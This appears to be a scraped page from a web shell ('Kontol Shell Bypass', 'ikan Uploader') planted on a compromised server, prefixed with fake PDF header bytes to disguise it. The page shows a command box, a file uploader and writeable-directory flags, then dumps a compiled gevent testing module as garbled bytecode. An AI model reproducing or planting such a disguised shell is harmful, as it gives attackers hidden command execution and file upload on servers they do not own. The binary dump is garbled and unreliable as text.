%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /vddos/python/lib/python3.9/site-packages/gevent/testing/__pycache__/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //vddos/python/lib/python3.9/site-packages/gevent/testing/__pycache__/util.cpython-39.pyc
a

�_g�J�@sddlmZmZmZddlZddlZddlZddlZddlZddl	Z	ddl
Z
ddlmZddl
mZddlmZddlmZddlmZd	Zeej�d
d��ZGdd
�d
e
j�Zdddddddddddddddddddddd�Zgd�Zdddddddd d!d"d#d#d#d$�
Zd%d&�Zd'd(�ZdXd)d*�Zd+d,�Z d-d.�Z!d/d0�Z"d1d2�Z#d3d4�Z$d5d6�Z%hd7�Z&hd8�Z'dYd9d:�Z(dZd;d<�Z)Gd=d>�d>e*�Z+d?d@�Z,e	�-�Z.dAdB�Z/dCdD�Z0GdEdF�dFe1�Z2dGdH�Z3d[dJdK�Z4dLdM�Z5dNdO�Z6dPdQ�Z7GdRdS�dSe*�Z8GdTdU�dUe8ej9�Z:GdVdW�dWe	j;�Z<dS)\�)�print_function�absolute_import�divisionN)�sleep�)�six)�
validate_bool)�perf_counter)�get_originalF�GEVENTTEST_QUIET�0c@s$eZdZdZdZdd�Zdd�ZdS)�Popenz�
    Depending on when we're imported and if the process has been monkey-patched,
    this could use cooperative or native Popen.
    NcCs|S�N���selfrr�@/vddos/python/lib/python3.9/site-packages/gevent/testing/util.py�	__enter__szPopen.__enter__cGst|�dSr)�kill)r�argsrrr�__exit__"szPopen.__exit__)�__name__�
__module__�__qualname__�__doc__�timerrrrrrrr
sr
�normal�default�red�magenta�cyanZ	brightred�greenZ	lightblueZlightredZbrightyellowZ
brightmagentaZ	lightcyan)rrz
actual-outputzcharacter-diffs�debugz
diff-chunk�errorzerror-number�	exceptionzexpected-outputzfailed-example�filename�info�lineno�numberz	ok-number�skipped�	slow-test�suboptimal-behaviourZtestname�warning))Zdarkz0;)Zlight�1;)�brightr-)�boldr-��� �!�"�#�$�%)
rr�blackrr!Zbrown�yellow�bluerr Zgrey�gray�whitecCsHd}tD]*\}}|�|�r|t|�d�}|}q4qt|}d||fS)N�z[%s%sm)�	_prefixes�
startswith�len�_colorcodes)�colorZprefix_code�prefix�codeZ
color_coderrr�_color_codeWs
rEcCstt|�Sr)rE�_colorscheme)�whatrrr�_colorasrHcCst|�|t|�Sr)rH)rG�messagerrrr�	_colorizedsrJcOs`|�dd�}|r||}n|}t||�}t� tj�|d�Wd�n1sR0YdS)zV
    Log a *message*

    :keyword str color: One of the values from _colorscheme
    rBr�
N)�poprJ�output_lock�sys�stderr�write)rIr�kwargsrB�stringrrr�loggs

rScOs*ts&|�dd�t|g|�Ri|��dS)z<
    Log the *message* only if we're not in quiet mode.
    rBr"N)�QUIET�
setdefaultrS)rIrrQrrrr"xsr"c
Cs�ttd�sdSzt�|d�WSty^}z*|jdkrJtd|t|�j|�WYd}~n@d}~0ty�}z td|t|�j|�WYd}~n
d}~00dS)N�killpg�	�zkillpg(%r, 9) failed: %s: %s)	�hasattr�osrV�OSError�errnorS�typer�	Exception)�pid�exrrrrV�s

(rVcCsDd|}td|tjd���d}|r@|��|dfvr@td|�dS)Nz"ERROR: The process "%s" not found.ztaskkill /F /PID %s /T)rOrr=z%r)r
�
subprocess�PIPE�communicate�striprS)r_Z
ignore_msg�errrrr�kill_processtree�srfc
Cs�t|d�rpz|��Wq�tyl}z>|jdkr>WYd}~dS|jdkrVWYd}~dS�WYd}~q�d}~00n&zt�|jd�Wnty�Yn0dS)NrrX�
rW)rYrr[r\rZr_�EnvironmentError)�popenr`rrr�_kill�s


rjcCs�|jdur|j��d|_|��dur*dSd|_z2t|dd�rJt|j�ntj�	d�r`t
|j�Wnty|t�
�Yn0zt|�Wnty�t�
�Yn0z|��Wnty�t�
�Yn0dS)NT�setpgrp_enabled�win)r�cancel�poll�
was_killed�getattrrVr_rN�platformr?rfr^�	traceback�	print_excrj�wait�rirrrr�s*

r>ZGEVENTSETUP_EV_VERIFYZGEVENTSETUP_EMBEDZGEVENT_DEBUGr>)ZGEVENT_RESOLVER�thread)ZGEVENT_RESOLVER_NAMESERVERSz8.8.8.8)ZGEVENTTEST_USE_RESOURCES�allcCs�g}|ptj��}|�|pi�t|���D]>\}}|�d�s@q,|tvrJq,||ftvrXq,|�	d||f�q,t
|tj�r�|�	|�n
|�
|�d�|�S)NZGEVENTz%s=%s� )rZ�environ�copy�update�sorted�itemsr?�IGNORED_GEVENT_ENV_KEYS�IGNORED_GEVENT_ENV_ITEMS�append�
isinstancer�string_types�extend�join)�command�env�setenv�result�key�valuerrr�getname�s

r�c
Ks�|�dd�}d}tj�d�s(ttdd�}|�dd�}|�dd�pBi}t|||d�}|durbd|d<|r�|rr|��ntj��}|�|�|s�td|�t	|f||d	�|��}||_
|du|_d
|_|dur�t
dd�|t|fd
�}	|	|_d|	_|	��|	|_|S)N�timeoutZDO_NOT_SETPGRP�setpgrpr�r�)r�r��1z+ %s)�
preexec_fnr�F�	threading�Timer)rT)rLrZry�getrpr�rzr{rSr
�namerkror
rr�daemon�start)
r��quietrQr�r�r�r�r�ri�trrrr��s2


r�c@sBeZdZdZddd�Zedd��Zdd	�ZeZd
d�Z	dd
�Z
dS)�	RunResultz�
    The results of running an external command.

    If the command was successful, this has a boolean
    value of True; otherwise, a boolean value of false.

    The integer value of this object is the command's exit code.
    Nrc

Cs:||_||_||_||_||_||_||_||_|	|_dSr)	r��
run_kwargsrD�outputr#r��	run_count�
skipped_count�run_duration)
rr�r�rDr�r#r�r�r�r�rrr�__init__	s
zRunResult.__init__cCs
|j��Sr)r��
splitlinesrrrr�output_linesszRunResult.output_linescCst|j�Sr)�boolrDrrrr�__bool__!szRunResult.__bool__cCs|jSr)rDrrrr�__int__&szRunResult.__int__cCsd|j|j|j|j|jfS)NzLRunResult of: %r
Code: %s
kwargs: %r
Output:
----
%s----
Error:
----
%s----
)r�rDr�r�r#rrrr�__repr__)s��zRunResult.__repr__)NNNrrr)rrrrr��propertyr�r��__nonzero__r�r�rrrrr��s
�

r�cCsdd|vr\|�dd�}|�dd�}|�dd�}|�dd�}|�dd�}|�dd�}|�d	d�}d|vS)
N�WarningzWarning -- reap_childrenZNADAzWarning -- threading_cleanupz/DeprecationWarning: Using or importing the ABCsz UserWarning: libuv only supportsz&ImportWarning: Not importing directoryz*DeprecationWarning: 'U' mode is deprecatedz#DeprecationWarning: dns.hash module)�replace)�outrrr�_should_show_warning_output?sr�cCs�d}d}d}d}|r�t�d|�}|r`||��|���}|�d|�}t||�d�|�d���}t�d|�}|r�td||��|����}t||�d�|�d���}|||f}|d	kr�td
|�}|||fS)Nz[took %.1fs%s]r=rzRan (\d+) tests in�tookrz \(skipped=(\d+)\)$r)�
r*)�re�searchr��endr��intrJ)r�r��statusr)r�r��mr�rrr�_find_test_statusXs$
r�cKs�|�dt�}|�dt�}|}|�dd�}|�dd�}|rfd|vrJd|vsRJ|��tj|d<tj|d<t|fd|i|��}|j}zVt�}	|�	�\}
}t�|	}|j
s�|��d	ur�d
}
n|��}
Wt|�|j
d	us�J�nt|�|j
d	us�J�0t|
�o�|
|v}|
�r*|
��}
t|
t��r|
n
|
�dd�}
|
�rr|�sF|�sFt|
��rrd
|
�dd�}
|
��}
|
d7}
td||
�t||
�\}}}|
�r�td||
||�r�dndd�n|�s�td||�t|||
|v�r�dn|
|
|||||d�	S)zv
    Execute *command*, returning a `RunResult`.

    This blocks until *command* finishes or until it times out.
    �
buffer_outputr��nestedF�allowed_return_codesr�stdoutrON�TIMEOUTzutf-8�ignorez  rKz
  z| %s
%sz! %s [code %s] %sr#r+)rBz- %s %sr)r�r#r�r�r�r�)rL�
BUFFER_OUTPUTrTra�STDOUTrbr�r�r	rcrornrrr�rdr��str�decoder�r��rstriprSr�r�)r�rQr�r��verboser�r�rir�Z
time_startr�re�durationr�Zfailedr�r�r�rrr�runns^



�
��r�c@seZdZdZdS)�NoSetupPyFoundzRaised by find_setup_py_aboveN)rrrrrrrrr��sr�cCsXtj�tj�|��}tj�tj�|d��sT|tj�|�}}||krtd|f��q|S)zAReturn the directory containing setup.py somewhere above *a_file*zsetup.pyz#could not find my setup.py above %r)rZ�path�dirname�abspath�existsr�r�)�a_file�root�prevrrr�find_setup_py_above�sr�TcCs�|dur&z
t|�WSty$Yn0|durVzttj|jj�WStyTYn0|dur�zttj|j�WSty�Yn0|r�td�Stdt�f��dS)Nz./dnezAfter checking %r)r�r�rN�modulesr�__file__�locals)r�Z
a_module_name�a_classZ	climb_cwdrrr�search_for_setup_py�s$
r�cCsFdtjdd�}dtjdd�}ttd�r>|d7}|d7}||fS)N�%s.%s��%s.%s.%srX�pypy_version_info�pypy)rN�version_inforY)�	directory�full_directoryrrr�_version_dir_components�s
r�cCs�ttd�}tj�|dd�}t�\}}dtjdd�}dtjdd�}ttd	�rb|d
7}|d
7}tj�||�}tj�||�}||fS)z�
    Return a sequence of directories that could contain
    stdlib tests for the running version of Python.

    The most specific tests are at the end of the sequence.

    No checks are performed on existence of the directories.
    )r��src�	greentestr�Nr�r�rXr�r�)	r�r�rZr�r�r�rNr�rY)�setup_pyr�r�r�rrr�find_stdlib_tests�s	


r�cCs>dtjvrdStjd}dd�|�tjj�D�}tjj�|�S)z�
    Return the PYTHONPATH environment variable (if set) with each
    entry being an absolute path. If not set, returns None.
    �
PYTHONPATHNcSsg|]}tj�|��qSr)rZr�r�)�.0�prrr�
<listcomp>��z'absolute_pythonpath.<locals>.<listcomp>)rZry�splitr��pathsepr�)r�rrr�absolute_pythonpath�s


r�c@s\eZdZdZgZdZdZdZdZdd�Z	e
dd��Ze
d	d
��Zdd�Z
d
d�Zdd�ZdS)�ExampleMixinz�
    Something that uses the ``examples/`` directory
    from the root of the gevent distribution.

    The `cwd` property is set to the root of the gevent distribution.
    rXg�?NcCsttt|�d�S)z(Return the directory containing setup.py)r�r�)r�r�r]rrrr�
find_setup_pys�zExampleMixin.find_setup_pyc
CsPz|��}Wn4ty@}zt�d|f��WYd}~n
d}~00tj�|d�S)N�$Unable to locate file/dir to run: %sZexamples)r�r��unittest�SkipTestrZr�r�)rr��errr�cwds
&zExampleMixin.cwdcCst�}|rd|iSdS)a"
        Returns a dictionary of environment variables to set for the
        child in addition to (or replacing) the ones already in the
        environment.

        Since the child is run in `cwd`, relative paths in ``PYTHONPATH``
        need to be converted to absolute paths.
        r�N)r�)rZabs_pythonpathrrrr�s
zExampleMixin.setenvc
Cs�t|dd�rtd||j��t|dd�r4td||j��z|j}|j}Wn4tyx}zt�d|f��WYd}~n
d}~00|j	p�i}|j
}|r�d|vr�|d�|�n||d<|tj
ddd|g|jfd	|i|��S)
NrzInvalid test�serverr�r�z-Wr�z-ur�)rp�AssertionErrorrr��exampler�r�r�r��start_kwargsr�r{rN�
executable�example_args)r�methr�Z
server_dirr�rQr�rrr�_start,s,
&
���zExampleMixin._startcCs|jtd�S�N)r�)r�r�rrrr�
start_exampleFszExampleMixin.start_examplecCs|jtd�Sr�)r�r�rrrr�run_exampleIszExampleMixin.run_example)rrrrr��before_delay�after_delayr�r�r�r�r�r�r�r�r�rrrrr�s

r�c@s8eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�ZdS)�
TestServerNcs"ddlm}|�fdd��}|�S)Nr)�contextmanagerc3sH����,}|�_���dV���Wd�n1s:0YdSr)r�ri�before�afterrurrr�running_serverTs

z1TestServer.running_server.<locals>.running_server)�
contextlibr�)rr�r�rrrr�QszTestServer.running_servercCs4|���|��Wd�n1s&0YdSr)r��_run_all_testsrrrr�test]s
zTestServer.testcCs:|jdurt|j�|�|j��d|j|j��f�dS�Nz%s died with code %s)r�r�assertIsNonerirnr�rrrrr�as

��zTestServer.beforecCs:|jdurt|j�|�|j��d|j|j��f�dSr)r�rrrirnr�rrrrr�is

��zTestServer.aftercCsHd}tt|��D]*}|�d�rt||�}t|�r|�d}q|sDJ�dS)NF�_testT)r|�dirr?rp�callable)rZran�method�functionrrrr�qs

zTestServer._run_all_tests)	rrrrir�rr�r�r�rrrrr�Msr�c@seZdZdd�Zdd�ZdS)�alarmcCs$tj�|�d|_||_|��dS)NT)r��Threadr�r�r�r�)rr�rrrr�szalarm.__init__cCs$t|j�tj�d�t�d�dS)Nz	Timeout.
�)rr�rNrOrPrZ�_exitrrrrr��s
z	alarm.runN)rrrr�r�rrrrr|sr)r)NN)F)NNNT)=�
__future__rrrr�rNrZrrr�r�ra�timerr=rZgevent._configrZgevent._compatr	Z
gevent.monkeyr
r�ryr�rTr
rFr>rArErHrJrSr"rVrfrjrr~rr�r��objectr�r��LockrMr�r�r^r�r�r�r�r�r�r�ZTestCaser�r	rrrrr�<module>s���


	

@>

	M�/

Kontol Shell Bypass